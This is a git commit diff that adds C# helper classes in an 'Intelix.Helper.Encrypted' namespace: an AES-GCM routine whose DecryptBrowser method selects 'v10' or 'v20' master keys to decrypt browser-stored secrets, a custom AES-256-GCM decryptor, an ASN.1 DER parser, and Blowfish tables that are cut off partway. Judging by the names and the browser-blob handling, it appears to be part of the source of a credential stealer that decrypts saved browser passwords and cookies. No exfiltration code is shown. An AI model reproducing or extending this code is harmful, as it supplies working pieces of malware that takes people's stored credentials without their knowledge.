initial commit
This commit is contained in:
i2p
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,99 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class AesGcm
|
||||
{
|
||||
private const int MacBitSize = 128;
|
||||
|
||||
private const int NonceBitSize = 96;
|
||||
|
||||
private const int TagBytes = 16;
|
||||
|
||||
private const int NonceBytes = 12;
|
||||
|
||||
private const int HeaderBytes = 3;
|
||||
|
||||
public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix)
|
||||
{
|
||||
if (encryptedData.Length < 31)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string text = Encoding.ASCII.GetString(encryptedData, 0, 3);
|
||||
byte[] array = new byte[12];
|
||||
Buffer.BlockCopy(encryptedData, 3, array, 0, 12);
|
||||
int num = 15;
|
||||
int num2 = encryptedData.Length - num - 16;
|
||||
if (num2 < 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array2 = new byte[num2];
|
||||
if (num2 > 0)
|
||||
{
|
||||
Buffer.BlockCopy(encryptedData, num, array2, 0, num2);
|
||||
}
|
||||
byte[] array3 = new byte[16];
|
||||
Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16);
|
||||
byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null));
|
||||
if (array4 == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3);
|
||||
if (array5 == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (checkprefix && HasPrefix(array5))
|
||||
{
|
||||
if (array5.Length <= 32)
|
||||
{
|
||||
return array5;
|
||||
}
|
||||
int num3 = 0;
|
||||
for (int i = 0; i < 32; i++)
|
||||
{
|
||||
byte b = array5[i];
|
||||
if (b >= 32 && b <= 126)
|
||||
{
|
||||
num3++;
|
||||
}
|
||||
if (num3 > 2)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (num3 > 2)
|
||||
{
|
||||
if (array5.Length <= 32)
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
byte[] array6 = new byte[array5.Length - 32];
|
||||
Array.Copy(array5, 32, array6, 0, array6.Length);
|
||||
return array6;
|
||||
}
|
||||
}
|
||||
return array5;
|
||||
}
|
||||
|
||||
private static bool HasPrefix(byte[] plainText)
|
||||
{
|
||||
if (plainText.Length < 32)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < 32; i++)
|
||||
{
|
||||
if (plainText[i] >= 32 && plainText[i] <= 126)
|
||||
{
|
||||
num++;
|
||||
}
|
||||
}
|
||||
return num > 2;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class AesGcm256
|
||||
{
|
||||
private static readonly byte[] SBox = new byte[256]
|
||||
{
|
||||
99, 124, 119, 123, 242, 107, 111, 197, 48, 1,
|
||||
103, 43, 254, 215, 171, 118, 202, 130, 201, 125,
|
||||
250, 89, 71, 240, 173, 212, 162, 175, 156, 164,
|
||||
114, 192, 183, 253, 147, 38, 54, 63, 247, 204,
|
||||
52, 165, 229, 241, 113, 216, 49, 21, 4, 199,
|
||||
35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
|
||||
235, 39, 178, 117, 9, 131, 44, 26, 27, 110,
|
||||
90, 160, 82, 59, 214, 179, 41, 227, 47, 132,
|
||||
83, 209, 0, 237, 32, 252, 177, 91, 106, 203,
|
||||
190, 57, 74, 76, 88, 207, 208, 239, 170, 251,
|
||||
67, 77, 51, 133, 69, 249, 2, 127, 80, 60,
|
||||
159, 168, 81, 163, 64, 143, 146, 157, 56, 245,
|
||||
188, 182, 218, 33, 16, 255, 243, 210, 205, 12,
|
||||
19, 236, 95, 151, 68, 23, 196, 167, 126, 61,
|
||||
100, 93, 25, 115, 96, 129, 79, 220, 34, 42,
|
||||
144, 136, 70, 238, 184, 20, 222, 94, 11, 219,
|
||||
224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
|
||||
172, 98, 145, 149, 228, 121, 231, 200, 55, 109,
|
||||
141, 213, 78, 169, 108, 86, 244, 234, 101, 122,
|
||||
174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
|
||||
232, 221, 116, 31, 75, 189, 139, 138, 112, 62,
|
||||
181, 102, 72, 3, 246, 14, 97, 53, 87, 185,
|
||||
134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
|
||||
142, 148, 155, 30, 135, 233, 206, 85, 40, 223,
|
||||
140, 161, 137, 13, 191, 230, 66, 104, 65, 153,
|
||||
45, 15, 176, 84, 187, 22
|
||||
};
|
||||
|
||||
private static readonly byte[] Rcon = new byte[256]
|
||||
{
|
||||
0, 1, 2, 4, 8, 16, 32, 64, 128, 27,
|
||||
54, 108, 216, 171, 77, 154, 47, 94, 188, 99,
|
||||
198, 151, 53, 106, 212, 179, 125, 250, 239, 197,
|
||||
145, 57, 114, 228, 211, 189, 97, 194, 159, 37,
|
||||
74, 148, 51, 102, 204, 131, 29, 58, 116, 232,
|
||||
203, 141, 1, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0
|
||||
};
|
||||
|
||||
private byte[] Key;
|
||||
|
||||
private byte[,] RoundKeys;
|
||||
|
||||
public AesGcm256(byte[] key)
|
||||
{
|
||||
if (key.Length != 32)
|
||||
{
|
||||
throw new ArgumentException("Key length must be 256 bits.");
|
||||
}
|
||||
Key = new byte[32];
|
||||
Array.Copy(key, Key, 32);
|
||||
KeyExpansion();
|
||||
}
|
||||
|
||||
public static byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
|
||||
{
|
||||
return new AesGcm256(key).Decrypt(cipherText, authTag, iv, aad);
|
||||
}
|
||||
|
||||
private void KeyExpansion()
|
||||
{
|
||||
int num = 8;
|
||||
int num2 = 4;
|
||||
int num3 = 14;
|
||||
RoundKeys = new byte[num2 * (num3 + 1), 4];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
RoundKeys[i, 0] = Key[4 * i];
|
||||
RoundKeys[i, 1] = Key[4 * i + 1];
|
||||
RoundKeys[i, 2] = Key[4 * i + 2];
|
||||
RoundKeys[i, 3] = Key[4 * i + 3];
|
||||
}
|
||||
byte[] array = new byte[4];
|
||||
for (int j = num; j < num2 * (num3 + 1); j++)
|
||||
{
|
||||
array[0] = RoundKeys[j - 1, 0];
|
||||
array[1] = RoundKeys[j - 1, 1];
|
||||
array[2] = RoundKeys[j - 1, 2];
|
||||
array[3] = RoundKeys[j - 1, 3];
|
||||
if (j % num == 0)
|
||||
{
|
||||
byte b = array[0];
|
||||
array[0] = array[1];
|
||||
array[1] = array[2];
|
||||
array[2] = array[3];
|
||||
array[3] = b;
|
||||
array[0] = SBox[array[0]];
|
||||
array[1] = SBox[array[1]];
|
||||
array[2] = SBox[array[2]];
|
||||
array[3] = SBox[array[3]];
|
||||
array[0] ^= Rcon[j / num];
|
||||
}
|
||||
else if (num > 6 && j % num == 4)
|
||||
{
|
||||
array[0] = SBox[array[0]];
|
||||
array[1] = SBox[array[1]];
|
||||
array[2] = SBox[array[2]];
|
||||
array[3] = SBox[array[3]];
|
||||
}
|
||||
RoundKeys[j, 0] = (byte)(RoundKeys[j - num, 0] ^ array[0]);
|
||||
RoundKeys[j, 1] = (byte)(RoundKeys[j - num, 1] ^ array[1]);
|
||||
RoundKeys[j, 2] = (byte)(RoundKeys[j - num, 2] ^ array[2]);
|
||||
RoundKeys[j, 3] = (byte)(RoundKeys[j - num, 3] ^ array[3]);
|
||||
}
|
||||
}
|
||||
|
||||
private void AddRoundKey(byte[,] state, int round)
|
||||
{
|
||||
for (int i = 0; i < 4; i++)
|
||||
{
|
||||
for (int j = 0; j < 4; j++)
|
||||
{
|
||||
state[j, i] ^= RoundKeys[round * 4 + i, j];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void SubBytes(byte[,] state)
|
||||
{
|
||||
for (int i = 0; i < 4; i++)
|
||||
{
|
||||
for (int j = 0; j < 4; j++)
|
||||
{
|
||||
state[i, j] = SBox[state[i, j]];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ShiftRows(byte[,] state)
|
||||
{
|
||||
byte b = state[1, 0];
|
||||
state[1, 0] = state[1, 1];
|
||||
state[1, 1] = state[1, 2];
|
||||
state[1, 2] = state[1, 3];
|
||||
state[1, 3] = b;
|
||||
b = state[2, 0];
|
||||
state[2, 0] = state[2, 2];
|
||||
state[2, 2] = b;
|
||||
b = state[2, 1];
|
||||
state[2, 1] = state[2, 3];
|
||||
state[2, 3] = b;
|
||||
b = state[3, 3];
|
||||
state[3, 3] = state[3, 2];
|
||||
state[3, 2] = state[3, 1];
|
||||
state[3, 1] = state[3, 0];
|
||||
state[3, 0] = b;
|
||||
}
|
||||
|
||||
private void MixColumns(byte[,] state)
|
||||
{
|
||||
byte[] array = new byte[4];
|
||||
for (int i = 0; i < 4; i++)
|
||||
{
|
||||
array[0] = (byte)(GFMultiply(2, state[0, i]) ^ GFMultiply(3, state[1, i]) ^ state[2, i] ^ state[3, i]);
|
||||
array[1] = (byte)(state[0, i] ^ GFMultiply(2, state[1, i]) ^ GFMultiply(3, state[2, i]) ^ state[3, i]);
|
||||
array[2] = (byte)(state[0, i] ^ state[1, i] ^ GFMultiply(2, state[2, i]) ^ GFMultiply(3, state[3, i]));
|
||||
array[3] = (byte)(GFMultiply(3, state[0, i]) ^ state[1, i] ^ state[2, i] ^ GFMultiply(2, state[3, i]));
|
||||
state[0, i] = array[0];
|
||||
state[1, i] = array[1];
|
||||
state[2, i] = array[2];
|
||||
state[3, i] = array[3];
|
||||
}
|
||||
}
|
||||
|
||||
private byte GFMultiply(byte a, byte b)
|
||||
{
|
||||
byte b2 = 0;
|
||||
for (int i = 0; i < 8; i++)
|
||||
{
|
||||
if ((b & 1) != 0)
|
||||
{
|
||||
b2 ^= a;
|
||||
}
|
||||
bool num = (a & 0x80) != 0;
|
||||
a <<= 1;
|
||||
if (num)
|
||||
{
|
||||
a ^= 0x1B;
|
||||
}
|
||||
b >>= 1;
|
||||
}
|
||||
return b2;
|
||||
}
|
||||
|
||||
private void EncryptBlock(byte[] input, byte[] output)
|
||||
{
|
||||
int num = 4;
|
||||
int num2 = 14;
|
||||
byte[,] array = new byte[4, num];
|
||||
for (int i = 0; i < 16; i++)
|
||||
{
|
||||
array[i % 4, i / 4] = input[i];
|
||||
}
|
||||
AddRoundKey(array, 0);
|
||||
for (int j = 1; j <= num2 - 1; j++)
|
||||
{
|
||||
SubBytes(array);
|
||||
ShiftRows(array);
|
||||
MixColumns(array);
|
||||
AddRoundKey(array, j);
|
||||
}
|
||||
SubBytes(array);
|
||||
ShiftRows(array);
|
||||
AddRoundKey(array, num2);
|
||||
for (int k = 0; k < 16; k++)
|
||||
{
|
||||
output[k] = array[k % 4, k / 4];
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] GF128Multiply(byte[] X, byte[] Y)
|
||||
{
|
||||
byte[] array = new byte[16];
|
||||
byte[] array2 = new byte[16];
|
||||
Array.Copy(Y, array2, 16);
|
||||
for (int i = 0; i < 128; i++)
|
||||
{
|
||||
if (((X[i / 8] >> 7 - i % 8) & 1) == 1)
|
||||
{
|
||||
for (int j = 0; j < 16; j++)
|
||||
{
|
||||
array[j] ^= array2[j];
|
||||
}
|
||||
}
|
||||
bool flag = (array2[15] & 1) == 1;
|
||||
for (int num = 15; num >= 0; num--)
|
||||
{
|
||||
array2[num] = (byte)((array2[num] >> 1) | (((num > 0) ? array2[num - 1] : 0) << 7));
|
||||
}
|
||||
if (flag)
|
||||
{
|
||||
array2[0] ^= 225;
|
||||
}
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
private byte[] GHASH(byte[] H, byte[] A, byte[] C)
|
||||
{
|
||||
_ = (A.Length + 15) / 16;
|
||||
_ = (C.Length + 15) / 16;
|
||||
byte[] array = new byte[16];
|
||||
byte[] array2 = new byte[16];
|
||||
byte[] array3 = new byte[16];
|
||||
int num;
|
||||
for (int i = 0; i < A.Length; i += num)
|
||||
{
|
||||
Array.Clear(array3, 0, 16);
|
||||
num = Math.Min(16, A.Length - i);
|
||||
Array.Copy(A, i, array3, 0, num);
|
||||
for (int j = 0; j < 16; j++)
|
||||
{
|
||||
array2[j] = (byte)(array[j] ^ array3[j]);
|
||||
}
|
||||
array = GF128Multiply(array2, H);
|
||||
}
|
||||
int num2;
|
||||
for (int i = 0; i < C.Length; i += num2)
|
||||
{
|
||||
Array.Clear(array3, 0, 16);
|
||||
num2 = Math.Min(16, C.Length - i);
|
||||
Array.Copy(C, i, array3, 0, num2);
|
||||
for (int k = 0; k < 16; k++)
|
||||
{
|
||||
array2[k] = (byte)(array[k] ^ array3[k]);
|
||||
}
|
||||
array = GF128Multiply(array2, H);
|
||||
}
|
||||
byte[] array4 = new byte[16];
|
||||
ulong num3 = (ulong)A.Length * 8uL;
|
||||
ulong num4 = (ulong)C.Length * 8uL;
|
||||
for (int l = 0; l < 8; l++)
|
||||
{
|
||||
array4[7 - l] = (byte)(num3 >> l * 8);
|
||||
array4[15 - l] = (byte)(num4 >> l * 8);
|
||||
}
|
||||
for (int m = 0; m < 16; m++)
|
||||
{
|
||||
array2[m] = (byte)(array[m] ^ array4[m]);
|
||||
}
|
||||
return GF128Multiply(array2, H);
|
||||
}
|
||||
|
||||
private void IncrementCounter(byte[] counterBlock)
|
||||
{
|
||||
int num = 15;
|
||||
while (num >= 12 && ++counterBlock[num] == 0)
|
||||
{
|
||||
num--;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Decrypt(byte[] ciphertext, byte[] tag, byte[] iv, byte[] aad)
|
||||
{
|
||||
if (aad == null)
|
||||
{
|
||||
aad = new byte[0];
|
||||
}
|
||||
byte[] array = new byte[16];
|
||||
EncryptBlock(new byte[16], array);
|
||||
byte[] array2 = new byte[16];
|
||||
if (iv.Length == 12)
|
||||
{
|
||||
Array.Copy(iv, 0, array2, 0, 12);
|
||||
array2[15] = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
array2 = GHASH(array, null, iv);
|
||||
}
|
||||
byte[] array3 = new byte[ciphertext.Length];
|
||||
byte[] array4 = new byte[16];
|
||||
Array.Copy(array2, array4, 16);
|
||||
int num = ciphertext.Length / 16;
|
||||
int num2 = ciphertext.Length % 16;
|
||||
int num3 = ((num2 == 0) ? num : (num + 1));
|
||||
for (int i = 0; i < num3; i++)
|
||||
{
|
||||
IncrementCounter(array4);
|
||||
byte[] array5 = new byte[16];
|
||||
EncryptBlock(array4, array5);
|
||||
int num4 = ((i < num) ? 16 : num2);
|
||||
for (int j = 0; j < num4; j++)
|
||||
{
|
||||
array3[i * 16 + j] = (byte)(ciphertext[i * 16 + j] ^ array5[j]);
|
||||
}
|
||||
}
|
||||
byte[] array6 = GHASH(array, aad, ciphertext);
|
||||
byte[] array7 = new byte[16];
|
||||
EncryptBlock(array2, array7);
|
||||
byte[] array8 = new byte[16];
|
||||
for (int k = 0; k < 16; k++)
|
||||
{
|
||||
array8[k] = (byte)(array7[k] ^ array6[k]);
|
||||
}
|
||||
if (!VerifyTag(tag, array8))
|
||||
{
|
||||
throw new Exception("Authentication tag does not match. Decryption failed.");
|
||||
}
|
||||
return array3;
|
||||
}
|
||||
|
||||
private bool VerifyTag(byte[] tag1, byte[] tag2)
|
||||
{
|
||||
if (tag1.Length != tag2.Length)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < tag1.Length; i++)
|
||||
{
|
||||
num |= tag1[i] ^ tag2[i];
|
||||
}
|
||||
return num == 0;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Asn1Der
|
||||
{
|
||||
public enum Type
|
||||
{
|
||||
Sequence = 48,
|
||||
Integer = 2,
|
||||
OctetString = 4,
|
||||
ObjectIdentifier = 6
|
||||
}
|
||||
|
||||
public Asn1DerObject Parse(byte[] toParse)
|
||||
{
|
||||
Asn1DerObject asn1DerObject = new Asn1DerObject();
|
||||
for (int i = 0; i < toParse.Length; i++)
|
||||
{
|
||||
switch ((Type)toParse[i])
|
||||
{
|
||||
case Type.Sequence:
|
||||
{
|
||||
byte[] array;
|
||||
if (asn1DerObject.Lenght == 0)
|
||||
{
|
||||
asn1DerObject.Type = Type.Sequence;
|
||||
asn1DerObject.Lenght = toParse.Length - (i + 2);
|
||||
array = new byte[asn1DerObject.Lenght];
|
||||
}
|
||||
else
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.Sequence,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
array = new byte[toParse[i + 1]];
|
||||
}
|
||||
int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
asn1DerObject.Objects.Add(Parse(array));
|
||||
i = i + 1 + toParse[i + 1];
|
||||
break;
|
||||
}
|
||||
case Type.Integer:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.Integer,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray();
|
||||
asn1DerObject.Objects[array3.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
case Type.OctetString:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.OctetString,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray();
|
||||
asn1DerObject.Objects[array4.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
case Type.ObjectIdentifier:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.ObjectIdentifier,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray();
|
||||
asn1DerObject.Objects[array2.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return asn1DerObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Asn1DerObject
|
||||
{
|
||||
public Asn1Der.Type Type { get; set; }
|
||||
|
||||
public int Lenght { get; set; }
|
||||
|
||||
public List<Asn1DerObject> Objects { get; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public Asn1DerObject()
|
||||
{
|
||||
Objects = new List<Asn1DerObject>();
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
StringBuilder stringBuilder2 = new StringBuilder();
|
||||
switch (Type)
|
||||
{
|
||||
case Asn1Der.Type.Sequence:
|
||||
stringBuilder.AppendLine("SEQUENCE {");
|
||||
break;
|
||||
case Asn1Der.Type.Integer:
|
||||
{
|
||||
byte[] data = Data;
|
||||
foreach (byte b3 in data)
|
||||
{
|
||||
stringBuilder2.AppendFormat("{0:X2}", b3);
|
||||
}
|
||||
stringBuilder.AppendLine("\tINTEGER " + stringBuilder2);
|
||||
break;
|
||||
}
|
||||
case Asn1Der.Type.OctetString:
|
||||
{
|
||||
byte[] data = Data;
|
||||
foreach (byte b2 in data)
|
||||
{
|
||||
stringBuilder2.AppendFormat("{0:X2}", b2);
|
||||
}
|
||||
stringBuilder.AppendLine("\tOCTETSTRING " + stringBuilder2);
|
||||
break;
|
||||
}
|
||||
case Asn1Der.Type.ObjectIdentifier:
|
||||
{
|
||||
byte[] data = Data;
|
||||
foreach (byte b in data)
|
||||
{
|
||||
stringBuilder2.AppendFormat("{0:X2}", b);
|
||||
}
|
||||
stringBuilder.AppendLine("\tOBJECTIDENTIFIER " + stringBuilder2);
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (Asn1DerObject @object in Objects)
|
||||
{
|
||||
stringBuilder.Append(@object);
|
||||
}
|
||||
if (Type.Equals(Asn1Der.Type.Sequence))
|
||||
{
|
||||
stringBuilder.AppendLine("}");
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Blowfish
|
||||
{
|
||||
public enum Endian
|
||||
{
|
||||
Little,
|
||||
Big
|
||||
}
|
||||
|
||||
public readonly int MinUserKeyLength = 1;
|
||||
|
||||
public readonly int MaxUserKeyLength = 56;
|
||||
|
||||
public readonly int BlockSize = 8;
|
||||
|
||||
private readonly uint[] OriginPBox = new uint[18]
|
||||
{
|
||||
608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u,
|
||||
3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u
|
||||
};
|
||||
|
||||
private readonly uint[,] OriginSBox = new uint[4, 256]
|
||||
{
|
||||
{
|
||||
3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u,
|
||||
134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u,
|
||||
2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u,
|
||||
1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u,
|
||||
1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u,
|
||||
3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u,
|
||||
1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u,
|
||||
258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u,
|
||||
1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u,
|
||||
1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u,
|
||||
1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u,
|
||||
634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u,
|
||||
1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u,
|
||||
1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u,
|
||||
1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u,
|
||||
1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u,
|
||||
1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u,
|
||||
3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u,
|
||||
2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u,
|
||||
2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u,
|
||||
3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u,
|
||||
2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u,
|
||||
2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u,
|
||||
545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u,
|
||||
3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u,
|
||||
4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u
|
||||
},
|
||||
{
|
||||
1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u,
|
||||
1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u,
|
||||
2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u,
|
||||
1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u,
|
||||
2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u,
|
||||
2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u,
|
||||
3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u,
|
||||
1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u,
|
||||
2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u,
|
||||
3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u,
|
||||
70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u,
|
||||
2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u,
|
||||
3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u,
|
||||
